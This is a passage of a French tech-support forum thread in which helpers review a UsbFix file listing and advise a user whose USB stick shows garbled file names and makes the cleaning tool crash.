    [29/04/2014 - 16:56:16 | ASH | 3350460 Ko] - C:\pagefile.sys
    [17/01/2009 - 01:10:52 | N | 5 Ko] - C:\Patch.rev
    [21/01/2008 - 04:32:31 | D] - C:\PerfLogs
    [19/02/2009 - 17:49:49 | N | 0 Ko] - C:\preload.rev
    [29/04/2014 - 13:13:14 | D] - C:\Program Files
    [19/11/2013 - 10:22:48 | D] - C:\Program Files (x86)
    [29/04/2014 - 13:40:18 | HD] - C:\ProgramData
    [19/02/2009 - 09:03:13 | N | 1 Ko] - C:\RHDSetup.log
    [20/11/2012 - 10:18:44 | D] - C:\RMISAUVE
    [21/01/2013 - 15:55:45 | D] - C:\RMVNCTemp
    [16/01/2014 - 02:40:14 | N | 476 Ko | 164E263E988C46728B7C9978AFF46914] - C:\SecurityScanner.dll
    [29/04/2014 - 09:14:35 | SHD] - C:\System Volume Information
    [07/04/2014 - 17:12:00 | D] - C:\temp
    [29/04/2014 - 10:46:26 | D] - C:\UsbFix
    [29/04/2014 - 12:30:27 | N | 9 Ko | 85DBBB56E4C5AC1D282F0799D5BCBE11] - C:\UsbFix [Clean 10] PC-DE-ACER.txt
    [29/04/2014 - 16:54:43 | N | 12 Ko | CFE227B011F1B90D6F9AFABF1DD55AEE] - C:\UsbFix [Clean 12] PC-DE-ACER.txt
    [29/04/2014 - 17:03:51 | A | 8 Ko | 960F9E60FE8F0B495F869AEFB8B74D9B] - C:\UsbFix [Clean 14] PC-DE-ACER.txt
    [29/04/2014 - 11:15:25 | N | 12 Ko | 206EC5B2BE2CBF6D7D1671CA9B964C09] - C:\UsbFix [Clean 2] PC-DE-ACER.txt
    [29/04/2014 - 11:20:48 | N | 12 Ko | 30BBDB049D5F177F6EB4E6255B184A52] - C:\UsbFix [Clean 4] PC-DE-ACER.txt
    [29/04/2014 - 11:30:23 | N | 12 Ko | 26CFDD2C0080988B79FA2A95841B3DEE] - C:\UsbFix [Clean 6] PC-DE-ACER.txt
    [29/04/2014 - 12:06:17 | N | 9 Ko | 4DD0575ECA21566A45D69C0D2DF2228C] - C:\UsbFix [Clean 8] PC-DE-ACER.txt
    [29/04/2014 - 10:48:06 | N | 17 Ko | A7A5AC9B669720140F16F82E82B571E9] - C:\UsbFix [Scan 1] PC-DE-ACER.txt
    [08/12/2011 - 06:30:51 | D] - C:\Users
    [07/04/2014 - 17:14:48 | D] - C:\Vega5
    [10/01/2012 - 08:18:37 | D] - C:\Vega5maj
    [29/04/2014 - 12:03:20 | D] - C:\Windows
    [29/04/2014 - 16:37:46 | D] - C:\X4
    [08/12/2011 - 06:32:30 | SHD] - D:\$RECYCLE.BIN
    [14/04/2011 - 15:12:09 | D] - D:\487689817e8b701c8f
    [09/02/2011 - 09:46:08 | D] - D:\ce563048b69a0c3eaa51e7ab56ff5d
    [19/02/2009 - 08:54:18 | SHD] - D:\System Volume Information
    0
  13. billmaxime Messages postés 50523 Date d'inscription   Statut Contributeur Dernière intervention   6 151
     
    re

    le rapport n'est pas complet (trop long), peux-tu le poster via ce lien

    https://www.cjoint.com/

    PS: regarde si tu as toujours le soucis avec ta clé
    merci

    @+
    0
  14. theob51 Messages postés 12 Statut Membre
     
    Mais en fait, malgré le mode sans échec, l'erreur sur usbfix apparait tjs j'ai donc été chercher le rapport dans C:/...
    0
  15. theob51 Messages postés 12 Statut Membre
     
    Ma clé parle toujours suédois!
    0
  16. billmaxime Messages postés 50523 Date d'inscription   Statut Contributeur Dernière intervention   6 151
     
    re

    je viens de contacter le développeur du logiciel, patiente 1 peu

    merci

    @+
    0
  17. ¡El Desaparecido! Messages postés 1519 Date d'inscription   Statut Membre Dernière intervention   195
     
    Hello Vous 2 ,

    @theob ,

    relance Usbfix, choisis Listing et communique nous le rapport stp
    Mais ta clé Usb semble HS ..
    0
  18. theob51 Messages postés 12 Statut Membre
     
    line 22135 file C:/UsbFix/UsbFix.exe
    error: subscript used on non-accessible variable

    impossible de vous donner le rapport...
    0
  19. ¡El Desaparecido! Messages postés 1519 Date d'inscription   Statut Membre Dernière intervention   195
     
    Ouais c'est du au nom de fichier ..

    t'as des documents important sur la clé ?

    De toute façon, je vais te dire franchement, si il y a des choses importantes, elle sont perdue. Le mieux serait de formater cette clé.

    Perso je la mettrai à la poubelle car si le formatage fonctionne, elle te refera le coup.
    0
  20. theob51 Messages postés 12 Statut Membre
     
    OK... j'avais des trucs importants sur la clé... Ca vaut le coup d'aller dans un truc comme Chronodisk?
    Merci bcp de vos conseils en tt cas!
    0
  • 1
  • 2